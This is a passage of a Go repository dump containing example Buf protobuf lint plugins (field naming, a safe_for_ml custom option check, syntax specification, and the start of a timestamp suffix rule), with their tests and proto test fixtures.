| return nil 160 | } 161 | return vr.delegate 162 | } 163 | 164 | type validateSpecError struct { 165 | delegate error 166 | } 167 | 168 | func newValidateSpecError(message string) *validateSpecError { 169 | return &validateSpecError{ 170 | delegate: errors.New(message), 171 | } 172 | } 173 | 174 | func wrapValidateSpecError(delegate error) *validateSpecError { 175 | return &validateSpecError{ 176 | delegate: delegate, 177 | } 178 | } 179 | 180 | func (vr *validateSpecError) Error() string { 181 | if vr == nil { 182 | return "" 183 | } 184 | if vr.delegate == nil { 185 | return "" 186 | } 187 | var sb strings.Builder 188 | _, _ = sb.WriteString(`invalid check.Spec: `) 189 | _, _ = sb.WriteString(vr.delegate.Error()) 190 | return sb.String() 191 | } 192 | 193 | func (vr *validateSpecError) Unwrap() error { 194 | if vr == nil { 195 | return nil 196 | } 197 | return vr.delegate 198 | } 199 | -------------------------------------------------------------------------------- /check/internal/example/buf.gen.yaml: -------------------------------------------------------------------------------- 1 | version: v2 2 | inputs: 3 | - directory: proto 4 | managed: 5 | enabled: true 6 | override: 7 | - file_option: go_package_prefix 8 | value: buf.build/go/bufplugin/check/internal/example/gen 9 | plugins: 10 | - remote: buf.build/protocolbuffers/go 11 | out: gen 12 | opt: paths=source_relative 13 | clean: true 14 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-field-lower-snake-case/main.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // Package main implements a simple plugin that checks that all field names are lower_snake_case. 16 | // 17 | // To use this plugin: 18 | // 19 | // # buf.yaml 20 | // version: v2 21 | // lint: 22 | // use: 23 | // - STANDARD # omit if you do not want to use the rules builtin to buf 24 | // - PLUGIN_FIELD_LOWER_SNAKE_CASE 25 | // plugins: 26 | // - plugin: buf-plugin-field-lower-snake-case 27 | // 28 | // Note that the buf CLI implements this check as a builtin Rule, but this is just for example. 29 | package main 30 | 31 | import ( 32 | "context" 33 | "strings" 34 | "unicode" 35 | 36 | "buf.build/go/bufplugin/check" 37 | "buf.build/go/bufplugin/check/checkutil" 38 | "buf.build/go/bufplugin/info" 39 | "google.golang.org/protobuf/reflect/protoreflect" 40 | ) 41 | 42 | // fieldLowerSnakeCaseRuleID is the Rule ID of the timestamp suffix Rule. 43 | // 44 | // This has a "PLUGIN_" prefix as the buf CLI has a rule "FIELD_LOWER_SNAKE_CASE" builtin, 45 | // and plugins/the buf CLI must have unique Rule IDs. 46 | const fieldLowerSnakeCaseRuleID = "PLUGIN_FIELD_LOWER_SNAKE_CASE" 47 | 48 | var ( 49 | // fieldLowerSnakeCaseRuleSpec is the RuleSpec for the timestamp suffix Rule. 50 | fieldLowerSnakeCaseRuleSpec = &check.RuleSpec{ 51 | ID: fieldLowerSnakeCaseRuleID, 52 | Default: true, 53 | Purpose: "Checks that all field names are lower_snake_case.", 54 | Type: check.RuleTypeLint, 55 | Handler: checkutil.NewFieldRuleHandler(checkFieldLowerSnakeCase, checkutil.WithoutImports()), 56 | } 57 | 58 | // spec is the Spec for the timestamp suffix plugin. 59 | spec = &check.Spec{ 60 | Rules: []*check.RuleSpec{ 61 | fieldLowerSnakeCaseRuleSpec, 62 | }, 63 | // Optional. 64 | Info: &info.Spec{ 65 | SPDXLicenseID: "apache-2.0", 66 | LicenseURL: "https://github.com/velvetynetwo/bufplugin-go/blob/main/LICENSE", 67 | }, 68 | } 69 | ) 70 | 71 | func main() { 72 | check.Main(spec) 73 | } 74 | 75 | func checkFieldLowerSnakeCase( 76 | _ context.Context, 77 | responseWriter check.ResponseWriter, 78 | _ check.Request, 79 | fieldDescriptor protoreflect.FieldDescriptor, 80 | ) error { 81 | fieldName := string(fieldDescriptor.Name()) 82 | fieldNameToLowerSnakeCase := toLowerSnakeCase(fieldName) 83 | if fieldName != fieldNameToLowerSnakeCase { 84 | responseWriter.AddAnnotation( 85 | check.WithMessagef("Field name %q should be lower_snake_case, such as %q.", fieldName, fieldNameToLowerSnakeCase), 86 | check.WithDescriptor(fieldDescriptor), 87 | ) 88 | } 89 | return nil 90 | } 91 | 92 | func toLowerSnakeCase(s string) string { 93 | return strings.ToLower(toSnakeCase(s)) 94 | } 95 | 96 | func toSnakeCase(s string) string { 97 | output := "" 98 | s = strings.TrimFunc(s, isDelimiter) 99 | for i, c := range s { 100 | if isDelimiter(c) { 101 | c = '_' 102 | } 103 | switch { 104 | case i == 0: 105 | output += string(c) 106 | case isSnakeCaseNewWord(c, false) && 107 | output[len(output)-1] != '_' && 108 | ((i < len(s)-1 && !isSnakeCaseNewWord(rune(s[i+1]), true) && !isDelimiter(rune(s[i+1]))) || 109 | (unicode.IsLower(rune(s[i-1])))): 110 | output += "_" + string(c) 111 | case !(isDelimiter(c) && output[len(output)-1] == '_'): 112 | output += string(c) 113 | } 114 | } 115 | return output 116 | } 117 | 118 | func isSnakeCaseNewWord(r rune, newWordOnDigits bool) bool { 119 | if newWordOnDigits { 120 | return unicode.IsUpper(r) || unicode.IsDigit(r) 121 | } 122 | return unicode.IsUpper(r) 123 | } 124 | 125 | func isDelimiter(r rune) bool { 126 | return r == '.' || r == '-' || r == '_' || r == ' ' || r == '\t' || r == '\n' || r == '\r' 127 | } 128 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-field-lower-snake-case/main_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package main 16 | 17 | import ( 18 | "testing" 19 | 20 | "buf.build/go/bufplugin/check/checktest" 21 | ) 22 | 23 | func TestSpec(t *testing.T) { 24 | t.Parallel() 25 | checktest.SpecTest(t, spec) 26 | } 27 | 28 | func TestSimple(t *testing.T) { 29 | t.Parallel() 30 | 31 | checktest.CheckTest{ 32 | Request: &checktest.RequestSpec{ 33 | Files: &checktest.ProtoFileSpec{ 34 | DirPaths: []string{"testdata/simple"}, 35 | FilePaths: []string{"simple.proto"}, 36 | }, 37 | }, 38 | Spec: spec, 39 | ExpectedAnnotations: []checktest.ExpectedAnnotation{ 40 | { 41 | RuleID: fieldLowerSnakeCaseRuleID, 42 | FileLocation: &checktest.ExpectedFileLocation{ 43 | FileName: "simple.proto", 44 | StartLine: 6, 45 | StartColumn: 2, 46 | EndLine: 6, 47 | EndColumn: 23, 48 | }, 49 | }, 50 | }, 51 | }.Run(t) 52 | } 53 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-field-lower-snake-case/testdata/simple/simple.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package simple; 4 | 5 | message Foo { 6 | int32 lower_snake_case = 1; 7 | int32 PascalCase = 2; 8 | } 9 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-field-option-safe-for-ml/main.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // Package main implements a plugin that implements two Rules: 16 | // 17 | // - A lint Rule that checks that every field has the option (acme.option.v1.safe_for_ml) explicitly set. 18 | // - A breaking Rule that verifes that no field goes from having option (acme.option.v1.safe_for_ml) going 19 | // from true to false. That is, if a field is marked as safe, it can not then be moved to unsafe. 20 | // 21 | // This is an example of a plugin that will check a custom option, which is a very typical 22 | // case for a custom lint or breaking change plugin. In this case, we're saying that an organization 23 | // wants to explicitly mark every field in its schemas as either safe to train ML models on, or 24 | // unsafe to train models on. This plugin enforces that all fields have such markings, and that 25 | // those fields do not transition from safe to unsafe. 26 | // 27 | // This plugin also demonstrates the usage of categories. The Rules have IDs: 28 | // 29 | // - FIELD_OPTION_SAFE_FOR_ML_SET 30 | // - FIELD_OPTION_SAFE_FOR_ML_STAYS_TRUE 31 | // 32 | // However, the Rules both belong to category FIELD_OPTION_SAFE_FOR_ML. This means that you 33 | // do not need to specify the individual rules in your configuration. You can just specify 34 | // the Category, and all Rules in this Category will be included. 35 | // 36 | // To use this plugin: 37 | // 38 | // # buf.yaml 39 | // version: v2 40 | // lint: 41 | // use: 42 | // - STANDARD # omit if you do not want to use the rules builtin to buf 43 | // - FIELD_OPTION_SAFE_FOR_ML 44 | // breaking: 45 | // use: 46 | // - WIRE_JSON # omit if you do not want to use the rules builtin to buf 47 | // - FIELD_OPTION_SAFE_FOR_ML 48 | // plugins: 49 | // - plugin: buf-plugin-field-option-safe-for-ml 50 | package main 51 | 52 | import ( 53 | "context" 54 | "fmt" 55 | 56 | "buf.build/go/bufplugin/check" 57 | "buf.build/go/bufplugin/check/checkutil" 58 | optionv1 "buf.build/go/bufplugin/check/internal/example/gen/acme/option/v1" 59 | "buf.build/go/bufplugin/info" 60 | "google.golang.org/protobuf/proto" 61 | "google.golang.org/protobuf/reflect/protoreflect" 62 | "google.golang.org/protobuf/types/descriptorpb" 63 | ) 64 | 65 | const ( 66 | // fieldOptionSafeForMLSetRuleID is the Rule ID of the field option safe for ML set Rule. 67 | fieldOptionSafeForMLSetRuleID = "FIELD_OPTION_SAFE_FOR_ML_SET" 68 | // fieldOptionSafeForMLStaysTrueRuleID is the Rule ID of the field option safe for ML stays true Rule. 69 | fieldOptionSafeForMLStaysTrueRuleID = "FIELD_OPTION_SAFE_FOR_ML_STAYS_TRUE" 70 | // fieldOptionSafeForMLCategoryID is the Category ID for the rules concerning (acme.option.v1.safe_for_ml). 71 | fieldOptionSafeForMLCategoryID = "FIELD_OPTION_SAFE_FOR_ML" 72 | ) 73 | 74 | var ( 75 | // fieldOptionSafeForMLRuleSpec is the RuleSpec for the field option safe for ML set Rule. 76 | fieldOptionSafeForMLSetRuleSpec = &check.RuleSpec{ 77 | ID: fieldOptionSafeForMLSetRuleID, 78 | Default: true, 79 | Purpose: "Checks that every field has option (acme.option.v1.safe_for_ml) explicitly set.", 80 | CategoryIDs: []string{ 81 | fieldOptionSafeForMLCategoryID, 82 | }, 83 | Type: check.RuleTypeLint, 84 | Handler: checkutil.NewFieldRuleHandler(checkFieldOptionSafeForMLSet, checkutil.WithoutImports()), 85 | } 86 | // fieldOptionSafeForMLStaysTrueRuleSpec is the RuleSpec for the field option safe for ML stays true Rule. 87 | fieldOptionSafeForMLStaysTrueRuleSpec = &check.RuleSpec{ 88 | ID: fieldOptionSafeForMLStaysTrueRuleID, 89 | Default: true, 90 | Purpose: "Checks that every field marked with (acme.option.v1.safe_for_ml) = true does not change to false.", 91 | CategoryIDs: []string{ 92 | fieldOptionSafeForMLCategoryID, 93 | }, 94 | Type: check.RuleTypeBreaking, 95 | Handler: checkutil.NewFieldPairRuleHandler(checkFieldOptionSafeForMLStaysTrue, checkutil.WithoutImports()), 96 | } 97 | fieldOptionSafeForMLCategorySpec = &check.CategorySpec{ 98 | ID: fieldOptionSafeForMLCategoryID, 99 | Purpose: "Checks properties around the (acme.option.v1.safe_for_ml) option.", 100 | } 101 | 102 | // spec is the Spec for the syntax specified plugin. 103 | spec = &check.Spec{ 104 | Rules: []*check.RuleSpec{ 105 | fieldOptionSafeForMLSetRuleSpec, 106 | fieldOptionSafeForMLStaysTrueRuleSpec, 107 | }, 108 | Categories: []*check.CategorySpec{ 109 | fieldOptionSafeForMLCategorySpec, 110 | }, 111 | // Optional. 112 | Info: &info.Spec{ 113 | SPDXLicenseID: "apache-2.0", 114 | LicenseURL: "https://github.com/velvetynetwo/bufplugin-go/blob/main/LICENSE", 115 | }, 116 | } 117 | ) 118 | 119 | func main() { 120 | check.Main(spec) 121 | } 122 | 123 | func checkFieldOptionSafeForMLSet( 124 | _ context.Context, 125 | responseWriter check.ResponseWriter, 126 | _ check.Request, 127 | fieldDescriptor protoreflect.FieldDescriptor, 128 | ) error { 129 | // Ignore the actual field options - we don't need to mark safe_for_ml as safe_for_ml. 130 | if fieldDescriptor.ContainingMessage().FullName() == "google.protobuf.FieldOptions" { 131 | return nil 132 | } 133 | fieldOptions, err := getFieldOptions(fieldDescriptor) 134 | if err != nil { 135 | return err 136 | } 137 | if !proto.HasExtension(fieldOptions, optionv1.E_SafeForMl) { 138 | responseWriter.AddAnnotation( 139 | check.WithMessagef( 140 | "Field %q on message %q should have option (acme.option.v1.safe_for_ml) explicitly set.", 141 | fieldDescriptor.Name(), 142 | fieldDescriptor.ContainingMessage().FullName(), 143 | ), 144 | check.WithDescriptor(fieldDescriptor), 145 | ) 146 | } 147 | return nil 148 | } 149 | 150 | func checkFieldOptionSafeForMLStaysTrue( 151 | _ context.Context, 152 | responseWriter check.ResponseWriter, 153 | _ check.Request, 154 | fieldDescriptor protoreflect.FieldDescriptor, 155 | againstFieldDescriptor protoreflect.FieldDescriptor, 156 | ) error { 157 | // Ignore the actual field options - we don't need to mark safe_for_ml as safe_for_ml. 158 | if fieldDescriptor.ContainingMessage().FullName() == "google.protobuf.FieldOptions" { 159 | return nil 160 | } 161 | againstSafeForML, err := getSafeForML(againstFieldDescriptor) 162 | if err != nil { 163 | return err 164 | } 165 | if !againstSafeForML { 166 | // If the field does not have safe_for_ml or safe_for_ml is false, we are done. It is up to the 167 | // lint Rule to enforce whether or not every field has this option explicitly set. 168 | return nil 169 | } 170 | safeForML, err := getSafeForML(fieldDescriptor) 171 | if err != nil { 172 | return err 173 | } 174 | if !safeForML { 175 | responseWriter.AddAnnotation( 176 | check.WithMessagef( 177 | "Field %q on message %q should had option (acme.option.v1.safe_for_ml) change from true to false.", 178 | fieldDescriptor.Name(), 179 | fieldDescriptor.ContainingMessage().FullName(), 180 | ), 181 | check.WithDescriptor(fieldDescriptor), 182 | check.WithAgainstDescriptor(againstFieldDescriptor), 183 | ) 184 | } 185 | return nil 186 | } 187 | 188 | func getFieldOptions(fieldDescriptor protoreflect.FieldDescriptor) (*descriptorpb.FieldOptions, error) { 189 | fieldOptions, ok := fieldDescriptor.Options().(*descriptorpb.FieldOptions) 190 | if !ok { 191 | // This should never happen. 192 | return nil, fmt.Errorf("expected *descriptorpb.FieldOptions for FieldDescriptor %q Options but got %T", fieldDescriptor.FullName(), fieldOptions) 193 | } 194 | return fieldOptions, nil 195 | } 196 | 197 | func getSafeForML(fieldDescriptor protoreflect.FieldDescriptor) (bool, error) { 198 | fieldOptions, err := getFieldOptions(fieldDescriptor) 199 | if err != nil { 200 | return false, err 201 | } 202 | if !proto.HasExtension(fieldOptions, optionv1.E_SafeForMl) { 203 | return false, nil 204 | } 205 | safeForMLIface := proto.GetExtension(fieldOptions, optionv1.E_SafeForMl) 206 | if safeForMLIface == nil { 207 | return false, fmt.Errorf("expected non-nil value for FieldDescriptor %q option value", fieldDescriptor.FullName()) 208 | } 209 | safeForML, ok := safeForMLIface.(bool) 210 | if !ok { 211 | // This should never happen. 212 | return false, fmt.Errorf("expected bool for FieldDescriptor %q option value but got %T", fieldDescriptor.FullName(), safeForMLIface) 213 | } 214 | return safeForML, nil 215 | } 216 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-field-option-safe-for-ml/main_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package main 16 | 17 | import ( 18 | "testing" 19 | 20 | "buf.build/go/bufplugin/check/checktest" 21 | ) 22 | 23 | func TestSpec(t *testing.T) { 24 | t.Parallel() 25 | checktest.SpecTest(t, spec) 26 | } 27 | 28 | func TestSimpleSuccess(t *testing.T) { 29 | t.Parallel() 30 | 31 | checktest.CheckTest{ 32 | Request: &checktest.RequestSpec{ 33 | Files: &checktest.ProtoFileSpec{ 34 | DirPaths: []string{ 35 | "../../proto", 36 | "testdata/simple_success", 37 | }, 38 | FilePaths: []string{ 39 | "acme/option/v1/option.proto", 40 | "simple.proto", 41 | }, 42 | }, 43 | }, 44 | Spec: spec, 45 | }.Run(t) 46 | } 47 | 48 | func TestSimpleFailure(t *testing.T) { 49 | t.Parallel() 50 | 51 | checktest.CheckTest{ 52 | Request: &checktest.RequestSpec{ 53 | Files: &checktest.ProtoFileSpec{ 54 | DirPaths: []string{ 55 | "../../proto", 56 | "testdata/simple_failure", 57 | }, 58 | FilePaths: []string{ 59 | "acme/option/v1/option.proto", 60 | "simple.proto", 61 | }, 62 | }, 63 | }, 64 | Spec: spec, 65 | ExpectedAnnotations: []checktest.ExpectedAnnotation{ 66 | { 67 | RuleID: fieldOptionSafeForMLSetRuleID, 68 | FileLocation: &checktest.ExpectedFileLocation{ 69 | FileName: "simple.proto", 70 | StartLine: 8, 71 | StartColumn: 2, 72 | EndLine: 8, 73 | EndColumn: 17, 74 | }, 75 | }, 76 | }, 77 | }.Run(t) 78 | } 79 | 80 | func TestChangeSuccess(t *testing.T) { 81 | t.Parallel() 82 | 83 | checktest.CheckTest{ 84 | Request: &checktest.RequestSpec{ 85 | Files: &checktest.ProtoFileSpec{ 86 | DirPaths: []string{ 87 | "../../proto", 88 | "testdata/change_success/current", 89 | }, 90 | FilePaths: []string{ 91 | "acme/option/v1/option.proto", 92 | "simple.proto", 93 | }, 94 | }, 95 | AgainstFiles: &checktest.ProtoFileSpec{ 96 | DirPaths: []string{ 97 | "../../proto", 98 | "testdata/change_success/previous", 99 | }, 100 | FilePaths: []string{ 101 | "acme/option/v1/option.proto", 102 | "simple.proto", 103 | }, 104 | }, 105 | }, 106 | Spec: spec, 107 | }.Run(t) 108 | } 109 | 110 | func TestChangeFailure(t *testing.T) { 111 | t.Parallel() 112 | 113 | checktest.CheckTest{ 114 | Request: &checktest.RequestSpec{ 115 | Files: &checktest.ProtoFileSpec{ 116 | DirPaths: []string{ 117 | "../../proto", 118 | "testdata/change_failure/current", 119 | }, 120 | FilePaths: []string{ 121 | "acme/option/v1/option.proto", 122 | "simple.proto", 123 | }, 124 | }, 125 | AgainstFiles: &checktest.ProtoFileSpec{ 126 | DirPaths: []string{ 127 | "../../proto", 128 | "testdata/change_failure/previous", 129 | }, 130 | FilePaths: []string{ 131 | "acme/option/v1/option.proto", 132 | "simple.proto", 133 | }, 134 | }, 135 | }, 136 | Spec: spec, 137 | ExpectedAnnotations: []checktest.ExpectedAnnotation{ 138 | { 139 | RuleID: fieldOptionSafeForMLStaysTrueRuleID, 140 | FileLocation: &checktest.ExpectedFileLocation{ 141 | FileName: "simple.proto", 142 | StartLine: 8, 143 | StartColumn: 2, 144 | EndLine: 8, 145 | EndColumn: 56, 146 | }, 147 | AgainstFileLocation: &checktest.ExpectedFileLocation{ 148 | FileName: "simple.proto", 149 | StartLine: 8, 150 | StartColumn: 2, 151 | EndLine: 8, 152 | EndColumn: 55, 153 | }, 154 | }, 155 | }, 156 | }.Run(t) 157 | } 158 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-field-option-safe-for-ml/testdata/change_failure/current/simple.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package simple; 4 | 5 | import "acme/option/v1/option.proto"; 6 | 7 | message User { 8 | string name = 1 [(acme.option.v1.safe_for_ml) = false]; 9 | string age = 2 [(acme.option.v1.safe_for_ml) = false]; 10 | } 11 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-field-option-safe-for-ml/testdata/change_failure/previous/simple.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package simple; 4 | 5 | import "acme/option/v1/option.proto"; 6 | 7 | message User { 8 | string name = 1 [(acme.option.v1.safe_for_ml) = false]; 9 | string age = 2 [(acme.option.v1.safe_for_ml) = true]; 10 | } 11 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-field-option-safe-for-ml/testdata/change_success/current/simple.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package simple; 4 | 5 | import "acme/option/v1/option.proto"; 6 | 7 | message User { 8 | string name = 1 [(acme.option.v1.safe_for_ml) = true]; 9 | string age = 2 [(acme.option.v1.safe_for_ml) = true]; 10 | } 11 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-field-option-safe-for-ml/testdata/change_success/previous/simple.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package simple; 4 | 5 | import "acme/option/v1/option.proto"; 6 | 7 | message User { 8 | string name = 1 [(acme.option.v1.safe_for_ml) = false]; 9 | string age = 2 [(acme.option.v1.safe_for_ml) = true]; 10 | } 11 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-field-option-safe-for-ml/testdata/simple_failure/simple.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package simple; 4 | 5 | import "acme/option/v1/option.proto"; 6 | 7 | message User { 8 | string name = 1 [(acme.option.v1.safe_for_ml) = false]; 9 | string age = 2; 10 | } 11 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-field-option-safe-for-ml/testdata/simple_success/simple.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package simple; 4 | 5 | import "acme/option/v1/option.proto"; 6 | 7 | message User { 8 | string name = 1 [(acme.option.v1.safe_for_ml) = false]; 9 | string age = 2 [(acme.option.v1.safe_for_ml) = true]; 10 | } 11 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-syntax-specified/main.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // Package main implements a simple plugin that checks that syntax is specified in every file. 16 | // 17 | // This is just demonstrating the additional functionality that check.Files have 18 | // over FileDescriptors and FileDescriptorProtos. 19 | // 20 | // To use this plugin: 21 | // 22 | // # buf.yaml 23 | // version: v2 24 | // lint: 25 | // use: 26 | // - STANDARD # omit if you do not want to use the rules builtin to buf 27 | // - PLUGIN_SYNTAX_SPECIFIED 28 | // plugins: 29 | // - plugin: buf-plugin-syntax-specified 30 | // 31 | // Note that the buf CLI implements this check by as a builtin rule, but this is just for example. 32 | package main 33 | 34 | import ( 35 | "context" 36 | 37 | "buf.build/go/bufplugin/check" 38 | "buf.build/go/bufplugin/check/checkutil" 39 | "buf.build/go/bufplugin/descriptor" 40 | "buf.build/go/bufplugin/info" 41 | ) 42 | 43 | // syntaxSpecifiedRuleID is the Rule ID of the syntax specified Rule. 44 | // 45 | // This has a "PLUGIN_" prefix as the buf CLI has a rule "SYNTAX_SPECIFIED" builtin, 46 | // and plugins/the buf CLI must have unique Rule IDs. 47 | const syntaxSpecifiedRuleID = "PLUGIN_SYNTAX_SPECIFIED" 48 | 49 | var ( 50 | // syntaxSpecifiedRuleSpec is the RuleSpec for the syntax specified Rule. 51 | syntaxSpecifiedRuleSpec = &check.RuleSpec{ 52 | ID: syntaxSpecifiedRuleID, 53 | Default: true, 54 | Purpose: "Checks that syntax is specified.", 55 | Type: check.RuleTypeLint, 56 | Handler: checkutil.NewFileRuleHandler(checkSyntaxSpecified, checkutil.WithoutImports()), 57 | } 58 | 59 | // spec is the Spec for the syntax specified plugin. 60 | spec = &check.Spec{ 61 | Rules: []*check.RuleSpec{ 62 | syntaxSpecifiedRuleSpec, 63 | }, 64 | // Optional. 65 | Info: &info.Spec{ 66 | SPDXLicenseID: "apache-2.0", 67 | LicenseURL: "https://github.com/velvetynetwo/bufplugin-go/blob/main/LICENSE", 68 | }, 69 | } 70 | ) 71 | 72 | func main() { 73 | check.Main(spec) 74 | } 75 | 76 | func checkSyntaxSpecified( 77 | _ context.Context, 78 | responseWriter check.ResponseWriter, 79 | _ check.Request, 80 | fileDescriptor descriptor.FileDescriptor, 81 | ) error { 82 | if fileDescriptor.IsSyntaxUnspecified() { 83 | syntax := fileDescriptor.FileDescriptorProto().GetSyntax() 84 | responseWriter.AddAnnotation( 85 | check.WithMessagef("Syntax should be specified but was %q.", syntax), 86 | check.WithDescriptor(fileDescriptor.ProtoreflectFileDescriptor()), 87 | ) 88 | } 89 | return nil 90 | } 91 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-syntax-specified/main_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package main 16 | 17 | import ( 18 | "testing" 19 | 20 | "buf.build/go/bufplugin/check/checktest" 21 | ) 22 | 23 | func TestSpec(t *testing.T) { 24 | t.Parallel() 25 | checktest.SpecTest(t, spec) 26 | } 27 | 28 | func TestSimpleSuccess(t *testing.T) { 29 | t.Parallel() 30 | 31 | checktest.CheckTest{ 32 | Request: &checktest.RequestSpec{ 33 | Files: &checktest.ProtoFileSpec{ 34 | DirPaths: []string{"testdata/simple_success"}, 35 | FilePaths: []string{"simple.proto"}, 36 | }, 37 | }, 38 | Spec: spec, 39 | }.Run(t) 40 | } 41 | 42 | func TestSimpleFailure(t *testing.T) { 43 | t.Parallel() 44 | 45 | checktest.CheckTest{ 46 | Request: &checktest.RequestSpec{ 47 | Files: &checktest.ProtoFileSpec{ 48 | DirPaths: []string{"testdata/simple_failure"}, 49 | FilePaths: []string{"simple.proto"}, 50 | }, 51 | }, 52 | Spec: spec, 53 | ExpectedAnnotations: []checktest.ExpectedAnnotation{ 54 | { 55 | RuleID: syntaxSpecifiedRuleID, 56 | FileLocation: &checktest.ExpectedFileLocation{ 57 | FileName: "simple.proto", 58 | }, 59 | }, 60 | }, 61 | }.Run(t) 62 | } 63 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-syntax-specified/testdata/simple_failure/simple.proto: -------------------------------------------------------------------------------- 1 | package simple; 2 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-syntax-specified/testdata/simple_success/simple.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package simple; 4 | -------------------------------------------------------------------------------- /check/internal/example/cmd/buf-plugin-timestamp-suffix/main.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // Package main implements a simple plugin that checks that all 16 | // google.protobuf.Timestamp fields end in a specific suffix. 17 | // 18 | // To use this plugin: 19 | // 20 | // # buf.yaml 21 | // version: v2 22 | // lint: 23 | // use: 24 | // - STANDARD # omit if you do not want to use the rules builtin to buf 25 | // - TIMESTAMP_SUFFIX 26 | // plugins: 27 | // - plugin: buf-plugin-timestamp-suffix 28 | // 29 | // The default suffix is "_time", but this can be overridden with the 30 | // "timestamp_suffix" option key in your buf.yaml: 31 | // 32 | // # buf.yaml 33 | // version: v2 34 | // lint: 35 | // use: 36 | // - STANDARD # omit if you do not want to use the rules builtin to buf 37 | // - TIMESTAMP_SUFFIX 38 | // plugins: 39 | // - plugin: buf-plugin-timestamp-suffix 40 | // options: 41 | // timestamp_suffix: _timestamp 42 | package main 43 | 44 | import ( 45 | "context" 46 | "strings" 47 | 48 | "buf.build/go/bufplugin/check" 49 | "buf.build/go/bufplugin/check/checkutil" 50 | "buf.build/go/bufplugin/info" 51 | 